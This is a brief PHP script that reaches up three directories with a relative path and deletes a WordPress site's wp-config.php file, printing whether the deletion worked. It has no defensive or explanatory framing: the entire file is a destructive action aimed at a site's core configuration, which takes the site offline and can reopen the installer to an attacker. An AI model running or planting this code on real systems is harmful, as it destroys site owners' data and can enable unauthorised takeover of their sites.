<?php // Specify the file path (hardcoded example) $file_path = '../../../wp-config.php'; // Check if the file exists if (file_exists($file_path)) { // Attempt to delete the file if (unlink($file_path)) { echo "File deleted successfully."; } else { echo "Error: Unable to delete the file (check permissions)."; } } else { echo "Error: File does not exist."; } ?>